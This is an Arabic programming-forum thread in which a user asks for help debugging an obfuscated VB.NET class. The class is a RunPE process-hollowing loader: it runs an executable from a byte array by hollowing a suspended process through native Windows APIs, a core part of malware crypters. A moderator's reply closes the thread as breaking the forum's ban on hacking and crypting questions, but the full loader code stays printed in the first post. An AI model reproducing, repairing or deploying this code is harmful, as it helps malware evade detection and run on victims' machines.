دخول
×

حسابٌ واحد لجميع خدماتنا !





إنشاء حساب
نقطة التطوير - dev-point.com







المواضيع المُكرّرة والمُخالفة لـ المواضيع المخالفة / المكررة . . .

 تم تحميل الصفحة في 1,3061241 ثانية

مششكلهه بالدوت نتتت عجزت الاقي لهآ حلل !
Like Tree1إعجاب
  • 1 كاتب المشاركة thamer123

!  قم بقراءة قوانين الموقع قبل اضافة رد , اضغط هنا

LinkBack أدوات الموضوع انواع عرض الموضوع

  #1
thamer123
Beginner Developer
 
الصورة الرمزية thamer123
 
   تاريخ التسجيل: 15 - 11 - 2009
   رقم العضوية : 83900
   العمر : 24
   المشاركات : 191
   بمعدل : 0.11 يوميا
   عدد النقاط : 131


thamer123 will become famous soon enoughthamer123 will become famous soon enough

thamer123 غير متواجد حالياً




افتراضي مششكلهه بالدوت نتتت عجزت الاقي لهآ حلل ! قديم اضيفت بتاريخ 27-Oct-2013, 06:13 PM بواسطة WEB

السسسلام عليكم

المشكله طبعآ تظهر وقت الاستدعاء






الخطآ ..








موديلل 1 ..


كود:
Imports System.Runtime.InteropServices
Imports System.Text

'''' <summary>
'''' Coder : H2M @ Dev-Point.com
'''' Coder RunPE : Simon-Binyo
'''' Call : Dim x AS New XFOnAppXXxX: x.xrVyXXnkVhw( byte() , String )
'''' Purpose : Execute App In Memory from byte array
'''' </summary>

Public Class XFOnAppXXxX
    Public Declare Function rlQXN Lib "kernel32" Alias "LoadLibraryA" (ByVal gXju As String) As IntPtr
    Public Declare Function nbxXrQ Lib "kernel32" Alias "GetProcAddress" (ByVal GNwo As IntPtr, ByVal gXju As String) As IntPtr
    Function zXXnXXnTxQhmVXo(Of T)(ByVal gXju As String, ByVal KXXv As String) As T
        Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(nbxXrQ(rlQXN(gXju), KXXv), GetType(T)), Object), T)
    End Function
    Delegate Function XObxZe(ByVal xXLH As IntPtr, ByVal DXXXXXEXd As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Delegate Function XXBlcX(ByVal h싹X As IntPtr, ByVal lXIv As IntPtr) As UInteger
    Delegate Function xczXVX(ByVal h싹X As IntPtr, ByVal lXIv As IntPtr, ByRef bufr As IntPtr, ByVal bufrMXhlXXyxb As Integer, ByRef 싹BBU As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Delegate Function XUXXxe(ByVal xXLHead As IntPtr, ByVal ODꐵX As IntPtr) As UInteger
    Delegate Function hNxBzX(ByVal xXLH As IntPtr, ByVal DXXXXXEXd As UInteger()) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Delegate Function XwYRNJ(ByVal h싹X As IntPtr, ByVal XipX As IntPtr, ByVal MXhlXXyxb As IntPtr, ByVal XXeX As Integer, ByVal oXyC As Integer) As IntPtr
    Delegate Function ykXXOD(ByVal h싹Xess As IntPtr, ByVal BvzsXXKOg As IntPtr, ByVal DFXP As Byte(), ByVal nMXhlXXyxb As UInteger, ByVal XXXTXfGXe As Integer) As Boolean
    Public Declare Auto Function QNXenX Lib "kernel32" Alias "CreateProcessW" (ByVal Xjxx As String, ByVal VXvX As StringBuilder, ByVal FXXXwbMVX As IntPtr, ByVal hXXX As IntPtr, <MarshalAs(UnmanagedType.Bool)> ByVal XxKX As Boolean, ByVal XkXn As Integer, ByVal xXRx As IntPtr, ByVal aXXX As String, ByVal XHgx As Byte(), ByVal UlXK As IntPtr()) As <MarshalAs(UnmanagedType.Bool)> Boolean
    Private Function BHHXGdX(ByVal F싹싹XOxX As Long, Optional ByVal yXAXXXX As Long = &H4) As Integer
        Dim pCXsdOO As IntPtr
        Dim ꐵXoXWG싹 As Integer
        Dim XXlXQ As xczXVX = zXXnXXnTxQhmVXo(Of xczXVX)("ntdll", "NtReadVirtualMemory")
        Call XXlXQ(Process.GetCurrentProcess.Handle, F싹싹XOxX, pCXsdOO, yXAXXXX, ꐵXoXWG싹)
        Return pCXsdOO
    End Function
    Public Function xrVyXXnkVhw(ByVal Tmx싹fmꐵv As Byte(), ByVal MuiYXXQL As String) As Boolean
        Try
            Dim sjxBKLXoQ As GCHandle = GCHandle.Alloc(Tmx싹fmꐵv, GCHandleType.Pinned) : Dim hModuleBase As Integer = sjxBKLXoQ.AddrOfPinnedObject : sjxBKLXoQ.Free()
            Dim FXXXwbMVX As IntPtr = IntPtr.Zero
            Dim XxYmEUPW As IntPtr() = New IntPtr(3) {}
            Dim QzgXDPYXM As Byte() = New Byte(67) {}
            Dim XapxAGtXA As Integer = BitConverter.ToInt32(Tmx싹fmꐵv, 60)
            Dim XQbꐵsetHK As Integer
            Dim DXXXXXEXd As UInteger() = New UInteger(178) {}
            DXXXXXEXd(0) = &H10002
            QNXenX(Nothing, New StringBuilder(MuiYXXQL), FXXXwbMVX, FXXXwbMVX, False, 4, FXXXwbMVX, Nothing, QzgXDPYXM, XxYmEUPW)
            Dim XRFHXXZxg As Integer = (hModuleBase + BHHXGdX(hModuleBase + &H3C))
            XQbꐵsetHK = BHHXGdX(XRFHXXZxg + &H34)
            Dim XIfJY As XXBlcX = zXXnXXnTxQhmVXo(Of XXBlcX)("ntdll", "NtUnmapViewOfSection")
            XIfJY(XxYmEUPW(0), XQbꐵsetHK)
            Dim 싹XXxJ As XwYRNJ = zXXnXXnTxQhmVXo(Of XwYRNJ)("kernel32", "VirtualAllocEx")
            Dim BvzsXXKOg As IntPtr = 싹XXxJ(XxYmEUPW(0), XQbꐵsetHK, BHHXGdX(XRFHXXZxg + &H50), &H3000, &H40)
            Dim XjXXTXkXn As New IntPtr(BitConverter.ToInt32(Tmx싹fmꐵv, XapxAGtXA + &H34))
            Dim MXhlXXyxb As New IntPtr(BitConverter.ToInt32(Tmx싹fmꐵv, XapxAGtXA + 80))
            Dim exSnhXbXX As Integer
            Dim XXXTXfGXe As Integer
            Dim api8 As ykXXOD = zXXnXXnTxQhmVXo(Of ykXXOD)("ntdll", "NtWriteVirtualMemory")
            api8(XxYmEUPW(0), BvzsXXKOg, Tmx싹fmꐵv, CUInt(CInt(BHHXGdX(XRFHXXZxg + &H54))), exSnhXbXX)
            For i = 0 To BHHXGdX(XRFHXXZxg + &H6, 2) - 1
                Dim QxXXXOFpl As Integer() = New Integer(9) {}
                Buffer.BlockCopy(Tmx싹fmꐵv, (XapxAGtXA + &HF8) + (i * 40), QxXXXOFpl, 0, 40)
                Dim lꐵBXXVXXr As Byte() = New Byte((QxXXXOFpl(4) - 1)) {}
                Buffer.BlockCopy(Tmx싹fmꐵv, QxXXXOFpl(5), lꐵBXXVXXr, 0, lꐵBXXVXXr.Length)
                MXhlXXyxb = New IntPtr(BvzsXXKOg.ToInt32() + QxXXXOFpl(3))
                XjXXTXkXn = New IntPtr(lꐵBXXVXXr.Length)
                api8(XxYmEUPW(0), MXhlXXyxb, lꐵBXXVXXr, CUInt(XjXXTXkXn), XXXTXfGXe)
            Next i
            Dim ꐵcpUX As XObxZe = zXXnXXnTxQhmVXo(Of XObxZe)("ntdll", "NtGetContextThread")
            ꐵcpUX(XxYmEUPW(1), DXXXXXEXd)
            api8(XxYmEUPW(0), DXXXXXEXd(41) + &H8, BitConverter.GetBytes(BvzsXXKOg.ToInt32()), CUInt(&H4), XXXTXfGXe)
            DXXXXXEXd(&H2C) = XQbꐵsetHK + BHHXGdX(XRFHXXZxg + &H28)
            Dim Ntbxn As hNxBzX = zXXnXXnTxQhmVXo(Of hNxBzX)("ntdll", "NtSetContextThread")
            Ntbxn(XxYmEUPW(1), DXXXXXEXd)
            Dim zXXxe As XUXXxe = zXXnXXnTxQhmVXo(Of XUXXxe)("ntdll", "NtResumeThread")
            zXXxe(XxYmEUPW(1), 0)
        Catch ex As Exception
            Return False
        End Try



موديل 2 ..


LastSoul أعجبه هذا
  #2
LastSoul
.:: مشرف قسم سابق ::.
 
الصورة الرمزية LastSoul
 
   تاريخ التسجيل: 31 - 3 - 2013
   رقم العضوية : 138670
   الدولة : IRaQ
   العمر : 20
   المشاركات : 2,135
   بمعدل : 3.74 يوميا
   نظام التشغيل : Windows 7
   عدد النقاط : 528
   lastsoul.dark


LastSoul is a glorious beacon of lightLastSoul is a glorious beacon of lightLastSoul is a glorious beacon of lightLastSoul is a glorious beacon of lightLastSoul is a glorious beacon of lightLastSoul is a glorious beacon of light

LastSoul غير متواجد حالياً




افتراضي رد: مششكلهه بالدوت نتتت عجزت الاقي لهآ حلل ! قديم اضيفت بتاريخ 27-Oct-2013, 06:30 PM بواسطة WEB

السلام عليكم اخي

للأسف مخالف :

- تمنع منعآ بآتا الإستفسارات اللتي تدور حول الإختراق وملحقاته من تشفير ودمج وتلغيم .

مواقع النشر (المفضلة)


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
انواع عرض الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is في
كود HTML معطلة
Trackbacks are في
Pingbacks are في
Refbacks are في


Google+

الساعة الآن 05:26 PM

Powered by Devpoint, Inc. community
Copyrights for vBulletin Inc.
Devpoint v3.0 preview - Build 1402.11

نظام الترقية - الحسابات الموثوقة - خصوصية الموقع - [ Dev-PoinT ] - الأعلى




SEO by vBSEO 3.6.0 PL2 ©2011, Crawlability, Inc.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180